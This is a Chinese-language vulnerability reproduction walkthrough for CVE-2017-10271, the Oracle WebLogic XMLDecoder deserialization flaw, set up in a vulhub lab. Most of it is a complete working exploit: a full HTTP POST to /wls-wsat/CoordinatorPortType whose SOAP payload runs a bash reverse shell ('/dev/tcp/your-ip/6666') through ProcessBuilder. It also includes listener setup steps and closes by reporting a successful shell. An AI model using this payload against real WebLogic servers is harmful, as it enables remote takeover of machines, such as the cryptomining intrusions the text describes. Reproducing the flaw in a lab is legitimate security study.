-
漏洞编号:CVE-2017-10271
-
影响版本:10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0
-
测试环境:Linux || vulhub || Weblogic 10.3.6.0
Oracle Fusion Middleware的Oracle WebLogic Server组件中的WebLogic XMLDecoder反序列化漏洞。曾被挖矿利用,使数字货币的疯涨一时,大量机器被入侵后用来挖矿,其中存在不少部署了Weblogic服务的机器,因为Weblogic所爆出安全漏洞的exp一时间在地下广泛流传。究其原因:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
1、首先,在vulhub启动Weblogic服务,其映射端口为7001。通过浏览器访问如下:
此时,表明靶场已成功启动。
2、访问指定URL同时抓包,(http://your_ip:7001/wls-wsat/CoordinatorPortType)
将数据包Send to Repeater
3、此时在另一台攻击机上监听6666端口,以备控制目标机。
4、在Repeater发送payload
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: target-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/your-ip/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
发送payload后响应码为500
此时,攻击机已经get shell,漏洞复现成功。
完毕!